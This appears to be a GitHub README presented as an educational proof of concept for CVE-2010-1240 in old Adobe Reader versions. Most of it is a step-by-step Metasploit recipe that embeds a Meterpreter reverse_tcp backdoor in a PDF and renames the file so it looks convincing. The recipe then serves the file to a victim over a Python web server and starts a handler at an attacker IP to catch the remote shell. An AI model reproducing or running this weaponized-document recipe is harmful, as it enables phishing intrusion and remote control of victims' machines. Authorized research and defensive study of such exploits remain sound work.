asepsaepdin/cve-2010-1240Educational proof-of-concept demonstrating how to embed a Meterpreter backdoor into a PDF file exploiting CVE-2010-1240, with step-by-step Metasploit instructions for authorized security testing.
⚠️ For educational and authorized security research purposes only
Adobe Reader and Acrobat 9.x before 9.3.3, and 8.x before 8.2.3 on Windows and Mac OS X, do not restrict the contents of one text field in the Launch File warning dialog, which makes it easier for remote attackers to trick users into executing an arbitrary local program that was specified in a PDF document, as demonstrated by a text field that claims that the Open button will enable the user to read an encrypted message.
First, run msfconsole
msfconsole
Then, set the payload for embedding the pdf
use exploit/windows/fileformat/adobe_pdf_embedded_exe
set the INFILENAME option and provide direct path to the original pdf file
set INFILENAME /home/kali/Downloads/certificate-foundations-of-threat-hunting-60c893e734422a67991e093c.pdf
set the name of the newly created malicious PDF file to something more convincing by setting the FILENAME option
set FILENAME laporan.pdf
Find and embed the payload into the PDF file
set payload windows/meterpreter/reverse_tcp
Set LHOST option to and attacker's IP
set LHOST 172.16.10.10
Open a new terminal and navigate to the location of the malicious PDF file
cd .msf4/local/
Create a temporary server in python
python -m http.server
Download the malicious PDF file on the victim's machine
http://172.16.10.10:8000/certificate.pdf
Before running the malicious PDF file on the victim's machine, start the listener on the previous terminal
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.10.10
exploit
Once the malicious PDF file is executed on the victim machine, it will give you connection to the victim's machine